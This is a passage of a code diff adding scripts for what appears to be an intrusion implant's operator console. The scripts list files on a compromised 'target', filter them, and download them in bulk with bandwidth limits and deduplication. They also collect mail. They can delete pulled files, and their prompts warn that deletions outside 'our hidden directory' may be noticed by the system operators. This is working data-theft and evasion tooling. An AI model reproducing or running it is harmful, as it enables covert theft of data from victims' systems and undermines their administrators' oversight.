time.mktime(time.strptime(datestr, '%b %d %H:%M %Y')) + + if stopdate and secs > stopdate: + continue + + ret = parts[:4] + ret.append(int(parts[4])) + ret.append(datestr) + ret.append(filename) + ret.append(secs) + + have_local = False + filename = filename.strip('/') + + if download_dir: + local_file = os.path.join(download_dir, os.path.basename(filename)) + have_local = self.have_local_file(local_file, size) + + if not have_local: + local_file = os.path.join(self.default_dl_dir, filename) + have_local = self.have_local_file(local_file, size) + + if not have_local: + local_file = os.path.join(self.default_ns_dir, os.path.basename(filename)) + have_local = self.have_local_file(local_file, size) + + ret.append(have_local[0]) + ret.append(have_local[1]) + + yield(tuple(ret)) + + + # Helper function to determine if a file exists locally and if + # the size is the same. + def have_local_file(self, path, size): + + if os.path.isfile(path): + sz = os.stat(path).st_size + if sz == size: + return (True, sz) + else: + return (False, sz) + + return (False, 0) + + + # Gets a list of n files from the list, getting the current index from + # the file opened with idx_fd, and writing back the new index. + def get_next_files(self, filelist, idx_fd, n): + + files = [] + + fcntl.flock(idx_fd, fcntl.LOCK_EX) + + os.lseek(idx_fd, 0, os.SEEK_SET) + + data = os.read(idx_fd, 100) + idx = int(data.strip()) + + if idx < len(filelist): + files = filelist[idx:idx+n] + + os.ftruncate(idx_fd, 0) + os.lseek(idx_fd, 0, os.SEEK_SET) + os.write(idx_fd, '%s\n' % (idx + n)) + os.fsync(idx_fd) + + fcntl.flock(idx_fd, fcntl.LOCK_UN) + + return files + + + # + # -get the files + # returns a list of files collected + # + def get_files(self, filelist, idx_file, singlegets, local_dir, headtail, maxbytes, maxbw, cksums, nodups, preserve, loud=False): + + stopped_str1 = 'Force stop file (%s) now exists.\n' % self.stopfile + stopped_str2 = 'Download aborted. Remove this file to allow future -lss.py ' + \ + '-G\'s this op:\n\n -lsh rm -f %s\n\n' % self.stopfile + cksum_re = re.compile('^(\d+ \d+) (.+)$') + got_files = [] + + try: + idx_fd = os.open(idx_file, os.O_RDWR | os.O_APPEND) + except: + self.doprint('could\'t open index file: %s' % idx_file) + return [] + + # make sure only getting files + filelist = [x for x in filelist if x[0][0] == '-'] + + quiet = ' -q' + local = '' + + if loud: + quiet = '' + + oldcwd = self.nopen.status['localcwd'] + if local_dir: + self.nopen.doit('-lcd %s' % local_dir) + local = ' -l' + + if singlegets: + + while True: + # check current bw before each get + if maxbw != None and maxbw > 0: + curr_rx = self.nopen.bwsofar()[0] + if curr_rx > maxbw: + self.doprint(COLOR['fail'], '\nMax download %dM has been exceeded (%.2fM).\n' % (maxbw, curr_rx)) + break + + # check if need to stop + if os.path.exists(self.stopfile): + self.doprint(COLOR['fail'], stopped_str1, + COLOR['normal'], stopped_str2) + break + + files = self.get_next_files(filelist, idx_fd, 1) + + if len(files) == 0: + break + + cksum_match = False + cksumsize = '' + get = 'get' + offset_args = '' + if headtail: + get = 'oget' + + if files[0][4] > maxbytes: + if headtail == 'head': + offset_args = ' -b 0 -e %d' % maxbytes + elif headtail == 'tail': + offset_args = ' -b %d' % (files[0][4] - maxbytes) + + filename = re.sub(r'(\s)', r'\\\1', files[0][6]) # have to escape again + + # if checking cksums, check if have a local copy first + # and don't do the get + if cksums: + output, nout, outlines = self.nopen.doit('cksum %s' % filename) + + r = cksum_re.search(output) + if r != None: + cksumsize = r.group(1) + res = autoutils.execute('egrep "%s" %s' % (cksumsize, self.cksums_file)) + res = res.split('\n') + + # get a version of the local matching file, which will + # be on the first line + r = cksum_re.search(res[0]) + if r != None: + lfile = r.group(2) + cksum_match = True + + # if have a local match, just do the copy and don't get, + # and continue with next file + if cksum_match: + got_files.append(filename) + + if not nodups and not files[0][8]: + # figure out local dest file + if local_dir: + destfile = os.path.join(local_dir, os.path.basename(filename)) + else: + filename = filename.strip('/') + destfile = os.path.join(self.default_dl_dir, filename) + + if os.path.exists(destfile): + self.nopen.preserveFiles(destfile, True) + else: + try: + os.makedirs(os.path.dirname(destfile)) + except: + pass + + self.doprint(COLOR['fail'], 'Duplicate target file already retrieved, making local copy:\n', + '"%s" -- "%s"\n' % (lfile, destfile)) + shutil.copyfile(lfile, destfile) + else: + # don't make a copy if the local file is the one we got or nodups was set + self.doprint(COLOR['fail'], 'Duplicate target file already retrieved, NOT making local copy.\n', + '%s\n' % lfile) + + continue + + # get timestamp if preversing times + if preserve: + output, nout, outlines = self.nopen.doit('-ls -n %s' % filename) + + if re.search('^-touch', output): + touch_cmd = output + else: + touch_cmd = '' + + # do the get + output, nout, outlines = self.nopen.doit('-%s%s%s%s %s' % \ + (get, offset_args, quiet, local, filename)) + + if preserve and touch_cmd != '': + self.nopen.doit(touch_cmd) + + # this list will have the "file -- /current/down/<..>/file" line, and possibly + # a "file exists, renaming" line before it. + output = [x for x in output.split('\n') if x != ''] + + if len(output) == 0: + continue # -get didn't get the file + + got_files.append(filename) + + # get locally named file + # TODO: maybe check number of " -- " in the string in case a file + # contains those characters. + lfile = output[-1].split(' -- ')[-1] + + # same cksum if needed + if cksums: + with open(self.cksums_file, 'a') as fd: + fd.write('%s %s\n' % (cksumsize, lfile)) + fd.write('%s %s\n' % (cksumsize, filename)) + + # rename file if got partial + if offset_args != '': + newfile = '%s.%s' % (lfile, headtail) + + if os.path.exists(lfile): + self.nopen.preserveFiles(newfile, True) + os.rename(lfile, newfile) + self.doprint(COLOR['warn'], 'Partial file renamed to: %s' % newfile) + + else: + while True: + + # check current bw before each get + if maxbw != None and maxbw > 0: + curr_rx = self.nopen.bwsofar()[0] + if curr_rx > maxbw: + self.doprint(COLOR['fail'], '\nMax download %dM has been exceeded (%.2fM).\n' % (maxbw, curr_rx)) + break + + # check if need to stop + if os.path.exists(self.stopfile): + self.doprint(COLOR['fail'], stopped_str1, + COLOR['normal'], stopped_str2) + break; + + files = self.get_next_files(filelist, idx_fd, self.files_per_get) + if len(files) == 0: + break + + # get just filenames and escape each white space + files = [re.sub(r'(\s)', r'\\\1', x[6]) for x in files] + + self.nopen.doit('-get%s%s %s' % (quiet, local, ' '.join(files))) + + got_files += files + + if local_dir: + self.nopen.doit('-lcd %s' % oldcwd) + + os.close(idx_fd) + + return got_files + + + # + # Deletes the list of files from target + # + def delete_files(self, filelist): + + curdirs = [x for x in self.nopen.getcwd().split('/') if x] + numup = len(curdirs) + dirups = '/'.join(['..'] * numup) + + for i in xrange(0, len(filelist)): + if filelist[i][0] == '/': + filelist[i] = '%s%s' % (dirups, filelist[i]) + + for chnks in autoutils.chunks(filelist, 25): + self.nopen.doit('-rm %s' % ' '.join(chnks)) + + return + + + # + # Returns the sum of all the file sizes. + # + def get_size_sum(self, lslist, headtail, htmax): + + tot = 0 + + for x in lslist: + if x[0][0] == '-': + size = x[4] + + if headtail == None: + tot += size + else: + if htmax > 0 and size > htmax: + tot += htmax + else: + tot += size + + return tot + + + # + # Returns a tuple, with list of paths from the given file, + # the time to use, and the mac letter. + # + def get_list_from_file(self, filename): + + filelist = [] + mintime = 0 + mac = 'm' + + lines = autoutils.file_readlines(filename) + + file_re = re.compile('^[^/]*(/.*)$') + time_re = re.compile('^[^/]*-x?([mac]?) (\d\d-\d\d-\d\d\d\d) .*$') + + for line in lines: + r = file_re.search(line) + if r != None: + filename = r.group(1).strip('\n\r') + + if len(filename) > 0: + filelist.append(filename) + + r = time_re.search(line) + if r != None: + t = time.mktime(time.strptime(r.group(2), '%m-%d-%Y')) + + if mintime == 0 or t < mintime: + mintime = t + + if r.group(1) != None: + mac = r.group(1) + + + if mintime != 0: + mintime = time.strftime('%m-%d-%Y', time.localtime(mintime)) + + return (filelist, mintime, mac) + + + # + # just show the version + # + def print_version(self, prog): + + script_name = os.path.basename(prog) + + if script_name.startswith('auto'): + script_name = script_name.split('auto', 1)[1] + + self.doprint('-gs %s version %s' % (script_name, self.version)) + + + # + # main routine + # + def main(self, argv): + + if imported: + prog = sys.argv[0] + + if argv.__class__() == '': + argv = shlex.split(argv) + else: + prog = argv[0] + argv = argv[1:] + + opts, args = self.nopen.parseArgs(self.parser, argv) + + if not self.nopen.connected: + self.nopen.connect() + + window_num = 1 + + if opts.v: + self.print_version(prog) + return + + if opts.Z or opts.m or opts.M or opts.G: + opts.F = True + + if opts.zero: + opts.K = True + + if opts.eight: + opts.o = True + + if opts.K: + opts.o = True + + try: + if opts.m: opts.m = int(opts.m) + if opts.M: opts.M = int(opts.M) + except ValueError: + self.doprint(COLOR['fail'], '\n-m/-M options must be integers\n') + return + + try: + if opts.T: opts.T = int(opts.T) + except ValueError: + self.doprint(COLOR['fail'], '\n-T option must be an integer\n') + return + + if opts.O: + if os.path.exists(opts.O): + if not os.path.isfile(opts.O) or opts.O[-1] == '/': + self.doprint(COLOR['fail'], '\n-O %s : must be a full path to a file\n' % opts.O) + return + + self.nopen.preserveFiles(opts.O, True) + + if not os.path.exists(os.path.dirname(opts.O)) or opts.O[-1] == '/': + self.doprint(COLOR['fail'], '\n-O %s : must be a full path that already exists\n' % opts.O) + return + + if opts.w or opts.W: + opts.P = True + + if opts.w and opts.W: + self.doprint(COLOR['fail'], 'only one of -w or -W can be specified') + return + + # each element will be a list containing: + # [ re_object, re_string, is_case_insens, match_count ] + greps = [] + vgreps = [] + + # get the expressions to grep on + if opts.g: + flags = 0 + grep_arg = opts.g + + if grep_arg.startswith('I:'): + flags = re.I + grep_arg = grep_arg[2:] + + if os.path.exists(grep_arg): + lines = autoutils.file_readlines(grep_arg) + greps = [ [re.compile(x.strip('\n\r'), flags), x.strip('\n\r'), flags == re.I, 0] for x in lines ] + else: + greps = [ [re.compile(x, flags), x, flags == re.I, 0] for x in grep_arg.split(',,') ] + + # get the expressions to grepout on + if opts.V: + flags = 0 + vgrep_arg = opts.V + + if vgrep_arg.startswith('I:'): + flags = re.I + vgrep_arg = vgrep_arg[2:] + + if os.path.exists(vgrep_arg): + lines = autoutils.file_readlines(vgrep_arg) + vgreps = [ [re.compile(x.strip('\n\r'), flags), x.strip('\n\r'), flags == re.I, 0] for x in lines ] + else: + vgreps = [ [re.compile(x, flags), x, flags == re.I, 0] for x in vgrep_arg.split(',,') ] + + # parses the PATH and sets the dir list as the intersection of the + # paths and given path arguments + if opts.P: + opts.U = True + paths = [] + + output, nopenlines, outputlines = self.nopen.doit('-getenv') + + for line in outputlines: + rm = re.match('^PATH=(.*)$', line) + if rm != None: + paths = rm.group(1).split(':') + break + + tmpargs = [] + + if opts.w: + for p in paths: + for a in args: + tmpargs.append('%s/%s*' % (p, a)) + elif opts.W: + for p in paths: + for a in args: + tmpargs.append('%s/*%s*' % (p, a)) + else: + for p in paths: + for a in args: + tmpargs.append('%s/%s' % (p, a)) + + args = tmpargs + + # create the list of dirs + dir_list_line = args + dir_list_file = [] + + # getting implies files only and getting the sums + if opts.G: + opts.F = True + opts.z = True + + if opts.b: + opts.o = True + + if not opts.M: + self.doprint(COLOR['fail'], '-M must be specified with -b') + return + + opts.b = opts.b.lower() + + if not opts.b in ['tail', 'head']: + self.doprint(COLOR['fail'], '-b must be "head" or "tail"') + return + + if opts.s: + # allowing -s to be: "N" or "N,x", where x is ignored + nm = opts.s.split(',') + if len(nm) > 2: + self.doprint(COLOR['fail'], 'invalid -s format') + return + + try: + window_num = int(nm[0]) + except ValueError: + self.doprint(COLOR['fail'], 'invalid -s format: N must be an integer') + return + + # determine the local dir for gets + if opts.L: + r = re.match('NOSEND(.*)', opts.L) + + if r != None: + if r.group(1) != '': + download_dir = os.path.join(self.default_ns_dir, r.group(1).strip('/')) + else: + download_dir = self.default_ns_dir + + if not os.path.exists(download_dir): + os.makedirs(download_dir) + else: + download_dir = opts.L + + if not os.path.isdir(download_dir): + self.doprint(COLOR['fail'], '-L option must be a directory (%s)' % download_dir) + return + else: + download_dir = None + + if opts.l: + (tmplist, lstime, mac) = self.get_list_from_file(opts.l) + dir_list_file = tmplist + + if lstime != 0: + if mac == 'a': + opts.xa = lstime + elif mac == 'c': + opts.xc = lstime + else: + opts.xm = lstime + + # check the date format + for d in [opts.xm, opts.xa, opts.xc, opts.S]: + if d != None and not re.match('^((1[0-2])|(0[1-9]))-((0[1-9])|([12][0-9])|(3[01]))-\d\d\d\d$', d): + self.doprint(COLOR['fail'], 'Invalid date (%s).' % d) + return + + if opts.D: + hidden_dirs = self.nopen.getHidden() + + # set the -ls options + lsopts = '' + if opts.c: lsopts += 'c' + if opts.d: lsopts += 'd' + if opts.R: lsopts += 'R' + if opts.u: lsopts += 'u' + if len(lsopts) > 0: + lsopts = '-%s ' % lsopts + if opts.xm: lsopts += '-xm %s' % opts.xm + if opts.xa: lsopts += '-xa %s' % opts.xa + if opts.xc: lsopts += '-xc %s' % opts.xc + + # get the lss options in a string for prettiness + # also used for generating split-window pastables (-s) + lssopts = '' + if opts.D: lssopts += 'D' + if opts.F: lssopts += 'F' + if opts.G: lssopts += 'G' + if opts.k: lssopts += 'k' + if opts.K: lssopts += 'K' + if opts.N: lssopts += 'N' + if opts.o: lssopts += 'o' + if opts.P: lssopts += 'P' + if opts.Q: lssopts += 'Q' + if opts.r: lssopts += 'r' + if opts.U: lssopts += 'U' + if opts.w: lssopts += 'w' + if opts.W: lssopts += 'W' + if opts.Y: lssopts += 'Y' + if opts.z: lssopts += 'z' + if opts.Z: lssopts += 'Z' + if opts.eight: lssopts += '8' + if opts.zero: lssopts += '0' + if len(lssopts) > 0: + lssopts = '-%s' % lssopts + if opts.f: lssopts += ' -f %s' % opts.f + if opts.m: lssopts += ' -m %d' % opts.m + if opts.M: lssopts += ' -M %d' % opts.M + if opts.O: lssopts += ' -O %s' % opts.O + if opts.S: lssopts += ' -S %s' % opts.S + if opts.g: lssopts += ' -g %s' % opts.g + if opts.V: lssopts += ' -V %s' % opts.V + if opts.b: lssopts += ' -b %s' % opts.b + if opts.l: lssopts += ' -l %s' % opts.l + if opts.L: lssopts += ' -L %s' % opts.L + if opts.T: lssopts += ' -T %d' % opts.T + + dir_list = dir_list_line + dir_list_file + dir_list = [re.sub(r'(\s)', r'\\\1', x) for x in dir_list] # escape spaces + dir_list_str = ' '.join(dir_list) + + # specify the unique temporary file for -ls output + cmdhash = hashlib.md5('%s %s' % (lsopts, dir_list_str)).hexdigest() + master_ls_file = '%s.pylss.%s' % (self.nopen.nopen_rhostname, cmdhash) + master_ls_file = re.sub(r'[ /\\]', '_', master_ls_file) + master_ls_file = os.path.join(self.nopen.optmp, master_ls_file) + master_get_file = master_ls_file + '.get' + master_idx_file = master_ls_file + '.index' + + # if this is an additional window, the ls file will be the previously + # written master file + if window_num > 1: + master_ls_file = master_get_file + opts.k = True # want to keep the order + opts.Q = True # might want this + #opts.Y = True # probably don't want this yet + + dols = False + time_diff_mins = 0 + + # determine if going to do a new -ls or reuse a previous one + if os.path.exists(master_ls_file): + if opts.U and window_num == 1: + # don't care about what's there if updating + os.unlink(master_ls_file) + dols = True + else: + st = os.stat(master_ls_file) + time_diff_mins = (time.time() - st.st_mtime) / 60 + elif window_num == 1: + dols = True + else: + self.doprint(COLOR['fail'], + 'ERROR: can\'t find master file %s\n' % master_get_file, + 'Make sure to run the -lss.py with "-s 1,n" first') + return + + # do the -ls or read from the previous master_ls_file + if dols: + if opts.O: + self.nopen.doit('-cmdout %s' % opts.O) + + # split up files into groups so each listing is around 2k bytes long + file_groups = [] + files_str = '' + + for f in dir_list: + files_str = '%s %s' % (files_str, f) + + if len(files_str) > 2000: + file_groups.append(files_str) + files_str = '' + + if len(files_str) > 0: + file_groups.append(files_str) # get the straglers + + outputlines = [] + + # run the -ls on each group of files + for fg in file_groups: + output, nopenlines, tmpoutlines = self.nopen.doit('-ls %s %s >> T:%s' % \ + (lsopts, fg, master_ls_file)) + outputlines += tmpoutlines + + if opts.O: + self.nopen.doit('-cmdout') + else: + if not opts.Q: + if len(dir_list_str) > 100: + tmpstr = 'MULTIPLE_PATHS' + else: + tmpstr = dir_list_str + + self.doprint(COLOR['fail'], + '\nReusing previous -ls of (%s) from %.2f minutes ago.\n' % (tmpstr, time_diff_mins), + 'Use -U to disable this feature.\n') + + outputlines = autoutils.file_readlines(master_ls_file) + + orig_count = len(outputlines) + + if opts.S: + stopdate = time.mktime(time.strptime(opts.S, '%m-%d-%Y')) + 86400 + else: + stopdate = None + + # split the lines and convert to a tuple, removing newlines and empty strings + filelist = list(self.filter_file_list(outputlines, opts.F, opts.Z, opts.m, opts.M, opts.b, + greps, vgreps, stopdate, download_dir)) + + # get a unique set of files + if not opts.k: + # sort by time and filename + filelist = sorted(set(filelist), key=lambda x: (x[7], x[6])) + else: + seen = set() + filelist = [x for x in filelist if x[6] not in seen and not seen.add(x[6])] + + # create list of strings, one file per entry, to return + finaloutput_list = ['%s %4s %-8s %-8s %10s %s %s' % \ + (x[0], x[1], x[2], x[3], x[4], x[5], x[6]) for x in filelist] + + # write to additional file if -f was specified + if opts.f: + self.nopen.preserveFiles([opts.f], True) + + if not opts.Q: + self.doprint(COLOR['note'], '\nWriting output to %s\n' % opts.f) + + outstr = '\n'.join(finaloutput_list) + + with open(opts.f, 'w') as fd: + fd.write(outstr) + fd.write('\n') + + # if doing gets, show previously pulled files and update list + # to remove them if not doing regets. + if opts.G: + if not opts.Q: + prev_files = [x for x in filelist if x[8] == True] + outstrs = [ COLOR['fail'] ] + + if len(prev_files) > 0: + outstrs.append('Files pulled previously, ') + + if opts.r: + outstrs.append('RE-PULLING them again:\n') + else: + outstrs.append('use -r to re-get them:\n\n') + + outstrs += [ '%s %4s %-8s %-8s %10s %s %s\n' % \ + (x[0], x[1], x[2], x[3], x[4], x[5], x[6]) for x in prev_files ] + + self.doprint(outstrs) + + # update list (only if this is the master get) + if not opts.r and window_num == 1: + filelist = [x for x in filelist if x[8] != True] + + # write the file list to a master list on disk + # no more filtering should be done after this + if opts.G and window_num == 1: + with open(master_get_file, 'w') as fd: + for f in filelist: + fd.write('%s %4s %-8s %-8s %10s %s %s\n' % (f[0], f[1], f[2], f[3], f[4], f[5], f[6])) + + with open(master_idx_file, 'w') as fd: + fd.write('0\n') + + # get the total sum of the files + if opts.G or opts.z: + total_sum = self.get_size_sum(filelist, opts.b, opts.M) + mword = '' + + if opts.b: + mword = ', at most %d bytes per file' % opts.M + + total_sum_str = 'Cumulative total size (files only%s): %d bytes (%.2fM or %.2fG)\n' % \ + (mword, total_sum, total_sum / 1048576.0, total_sum / 1073741824.0) + total_sum_str_G = 'Cumulative total size remaining (files only%s): %d bytes (%.2fM or %.2fG)\n' % \ + (mword, total_sum, total_sum / 1048576.0, total_sum / 1073741824.0) + + # show reformatted lines + if not opts.Q: + outstrs = [COLOR['note']] + + if len(dir_list_str) > 100: + dir_list_str = 'MULTIPLE_PATHS' + + outstrs.append('\nAbove output reformatted by lss.py(%s %s %s):\n' % (lssopts, lsopts, dir_list_str)) + + # rebuild listing with colors + tmp_list = ['%s%s %4s %-8s %-8s %10s %s %s%s\n' % \ + ((x[8] and COLOR['fail'] or ''), + x[0], x[1], x[2], x[3], x[4], x[5], x[6], + (x[8] and COLOR['normal'] or '')) for x in filelist] + + if len(tmp_list) > 0: + outstrs.append(COLOR['normal']) + outstrs += tmp_list + outstrs.append(COLOR['note']) + else: + outstrs.append('\n# NO MATCHING FILES\n') + + if opts.g or opts.V: + grep_note = ' (after filtering from %d)' % orig_count + else: + grep_note = '' + + if len(filelist) == 1: + entry_word = 'entry' + else: + entry_word = 'entries' + + outstrs.append('\n# Above output, %d %s%s,\n' % (len(filelist), entry_word, grep_note)) + if opts.F: + outstrs.append('# files only,\n') + if not opts.k: + outstrs.append('# was sorted from:\n') + outstrs.append('# -ls %s %s\n' % (lsopts, dir_list_str)) + + have_locals = [x[8] for x in filelist] + if True in have_locals: + outstrs.append(COLOR['fail']) + outstrs.append('# (files shown in red were pulled earlier)\n') + outstrs.append(COLOR['note']) + + # show total bytes + if opts.z: + outstrs.append(total_sum_str) + + # show number of grep matches + if len(greps) > 0: + + case_word = '' + if greps[0][2] == True: + case_word = '(case insensitive) ' + + outstrs.append('\nOutput also filtered to ONLY show those MATCHING %sany of:\n' % case_word) + + for r in greps: + outstrs.append(' r\'%-35s %d hits\n' % (r[1] + '\'', r[3])) + + outstrs.append('\n') + + # show number of greoput matches + if len(vgreps) > 0: + if vgreps[0][2] == True: + case_word = '(case insensitive) ' + else: + case_word = '' + + outstrs.append('Output then filtered to NOT show those MATCHING %sany of:\n' % case_word) + + for r in vgreps: + outstrs.append(' r\'%-35s %d hits\n' % (r[1] + '\'', r[3])) + + outstrs.append('\n') + + self.doprint(outstrs) + + got_files = [] + + # show window pastables and prompt to continue with gets + if opts.G: + + if len(filelist) > 0: + outstrs = [] + + # print out pastables for additional windows + if opts.s and window_num == 1: + lsopts = re.sub(r'-x([mac])', r'--x\1', lsopts) + + outstrs.append('OPTIONAL PASTABLE for other windows:\n\n') + outstrs.append(' -gs lss.py -s 2,n %s %s %s\n\n' % \ + (lsopts, lssopts, ' '.join(dir_list_line))) + + # show bandwidth warning + if opts.T and not opts.Q: + curr_rx = self.nopen.bwsofar()[0] + + if (curr_rx + (total_sum / 1048576.0)) > opts.T: + outstrs += [ COLOR['fail'], + 'NOTE: This amount plus your download so far (%.2fM) is more than your\n' % curr_rx, + ' max download setting of %dM. Keep in mind that the size numbers\n' % opts.T, + ' on target above are not compressed, but your download so far and max\n', + ' download are.\n\n', + COLOR['normal'] ] + + outstrs.append(total_sum_str_G) + + file_word = 'file' + if len(filelist) > 1: + file_word += 's' + + ht_word = '' + if opts.b: + ht_word = ' (only %s %d bytes)' % ((opts.b == 'tail') and 'last' or 'first', opts.M) + + if not opts.Y: + if window_num == 1: + prompt = '\nDo you want to get the %d %s shown above%s?' % \ + (len(filelist), file_word, ht_word) + else: + prompt = '\nAdditional Get: Do you want to continue (%d %s)?' % \ + (len(filelist), file_word) + + outstrs.append(prompt) + ans = self.nopen.getInput(''.join(outstrs), 'N', COLOR['normal']) + else: + ans = 'y' + + # do the get + if ans.lower() in ['y', 'yes']: + got_files = self.get_files(filelist, master_idx_file, opts.o, download_dir, + opts.b, opts.M, opts.T, opts.K, opts.zero, opts.eight) + else: + self.doprint(COLOR['fail'], 'There were no matching files not already pulled.\n') + + # Prompt for and do the deletions if requested + if opts.D and len(got_files) > 0: + + skipprompt = opts.N + showwarn = False + dodelete = skipprompt + + # still prompt if any of the files are not in the hidden directory + for f in got_files: + matches = [f.startswith(x) for x in hidden_dirs] + + if not True in matches: + skipprompt = False + showwarn = True + dodelete = False + + # TODO: want to check if CWD is hidden dir so don't show warning + # for relative paths? (since this script doesn't prepend + # CWD paths to relative files) + + # create annoying prompts + outstrs = [ '\n', COLOR['fail'] ] + + if showwarn: + outstrs += [ 'WARNING!! ', COLOR['warn'], + 'WARNING!! WARNING!! WARNING!! WARNING!!', + COLOR['normal'], COLOR['fail'], ' WARNING!!\n\n' ] + else: + outstrs.append('DELETING THESE FILES:\n\n') + + outstrs.append('\n'.join(got_files)) + outstrs.append(COLOR['normal']) + + if showwarn: + outstrs.append('\n\nThese %d files are not within our hidden directory,\n' % len(got_files)) + outstrs.append('and so deleteing them may be noticed by the system operators.\n') + outstrs.append('Super secret tip for those who actually read these prompts:\n') + outstrs.append('Enter "YESYES" here to avoid several are you sure prompts.\n\n') + outstrs += [COLOR['fail'], 'Do you really want to delete them?'] + else: + outstrs.append('\n\nYou can now DELETE THE FILES SHOWN ABOVE ON TARGET if desired.\n\n') + outstrs.append('ALL of these are within our hidden directory, %s\n\n' % ' '.join(hidden_dirs)) + outstrs += ['Do you want to ', COLOR['fail'], + 'DELETE THESE %d TARGET FILES?' % len(got_files)] + + # ask to delete and do multiple times if need to + if not skipprompt: + ans = self.nopen.getInput(''.join(outstrs), 'N', COLOR['normal']) + + if ans.lower() in ['y', 'yes']: + if showwarn: + ans = self.nopen.getInput('\nReally?', 'N', COLOR['normal']) + + if ans.lower() in ['y', 'yes']: + self.nopen.doit('-beep 3') + ans = self.nopen.getInput('\nSeriously, last chance. ARE YOU SURE?', 'N', COLOR['normal']) + + if ans.lower() in ['y', 'yes']: + dodelete = True + else: + dodelete = True + + elif ans == 'YESYES': + dodelete = True + + # finally do the deletion if YES + if dodelete: + self.delete_files(got_files) + else: + self.doprint('\nNot deleting the files.\n') + + if not imported: + return self.nopen.finish(finaloutput_list) + else: + return finaloutput_list + + +if __name__ == '__main__': + + imported = False + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + nopenlss().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autolssold b/Linux/etc/autolssold new file mode 100755 index 0000000..e7f7d38 --- /dev/null +++ b/Linux/etc/autolssold @@ -0,0 +1,150 @@ +#!/usr/bin/env perl +## +$VER="1.4.0.1" ; +# nopen seems happier with stderr in lsh runs +#select STDERR ; +$| = 1 ; +myinit() ; +unlink("$opetc/.lssout"); +print OUT ("-nohist -ls $options $lssdirs > L:$opetc/.lssout\n"); +print OUT ("-nohist -lsh lsstamp $opetc/.lssout $outtee ; mv $opetc/gs.lssnext $opetc/gs.lssnext.last\n"); +close(OUT) ; + + +sub mywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_WARNING unless $color ; +# $color2 = $color unless $color2 ; +# $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; +# warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; + warn "\a${color}$what$COLOR_NORMAL\n" ; + if ($autodone) { + open(MYOUT,">> /current/latewarnings.$nopen_rhostname") || return ; + print MYOUT "$what\n" ; + close MYOUT + } +} + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + exit 1; +} + +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($nopen_mypid) ; + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +} # end sub usage + +sub myinit { + use File::Basename ; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + $opdir = "/current" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + my @MYARGV = split(/\s+/,"@ARGV"); + my $append = ""; + for ($i = 0 ; $i < @MYARGV ; $i++ ) { + if ( $MYARGV[$i] eq "-h" ) { + $opt_h++ ; + $MYARGV[$i] = "" ; + } + if ( $MYARGV[$i] eq "-v" ) { + $opt_v++ ; + $MYARGV[$i] = "" ; + } + if ( $MYARGV[$i] eq "-a" ) { + $append = " -a"; + $MYARGV[$i] = "" ; + } + if ( $MYARGV[$i] =~ /^-([a]{0,1})f(.*)/ ) { + $MYARGV[$i] = "" ; + $append = " -a" if ($1); + if ($2) { + $opt_f = $2; + } else { + $opt_f = $MYARGV[$i+1] ; + $MYARGV[$i+1] = "" ; + $i++; + } + } + } +# do not use Getopts here since other args belong to -ls +# mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + $outtee = ""; + $outtee = "| tee$append $opt_f" if $opt_f ; + my %doneonce = (); + foreach (@MYARGV) { + $options .= " $_" if (/^-/) ; + $_ = "./" if $_ eq "." ; + $lssdirs .= " $_" if (/^[.\/]/ and !$doneonce{$_}++) ; + } + # Defaults + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs lss\" is used. + +"; + $gsusagetext="Usage: -gs lss [options] [-ls options] [ dir [dir2] ... ] + +-gs lss lists the directories given using -ls (and any optional -ls options), +sorting all files listed by time into a single sorted list. + +OPTIONS + + -h show this usage statement + -f file also save output to local file \"file\" + -a append to the -f file (ignored without -f also) + +"; + if (open(OUT,"> $opetc/gs.lssnext")) { + print OUT ("#NOGS\n") ; +# print OUT ("-lsh mv $opetc/gs.lssnext $opetc/gs.lssnext.last\n") ; + } else { + usage() if ($opt_h or $opt_v) ; + mydie("Unable to open >> $opetc/gs.lssnext"); + } + usage() if ($opt_h or $opt_v) ; +} #myinit + +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# select STDERR ; + $| = 1; + print "${color2}${prog}[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; +}#progprint + +sub dbg { + progprint("DBG: @_"); +}#dbg diff --git a/Linux/etc/automovemail b/Linux/etc/automovemail new file mode 100755 index 0000000..d56225a --- /dev/null +++ b/Linux/etc/automovemail @@ -0,0 +1,153 @@ +#!/usr/bin/env perl +# +# INPUT: $GSOPTIONS and $NOPEN_* env vars +# +# This script moves mail from ../down/$NOPEN_RHOSTNAME/some/dir into +# ../down/mailpull/$NOPEN_RHOSTNAME/some_dir_path_to_file, ensuring each +# new filename is unique and identifiable even if the final filename for all +# of them is the same. +# + 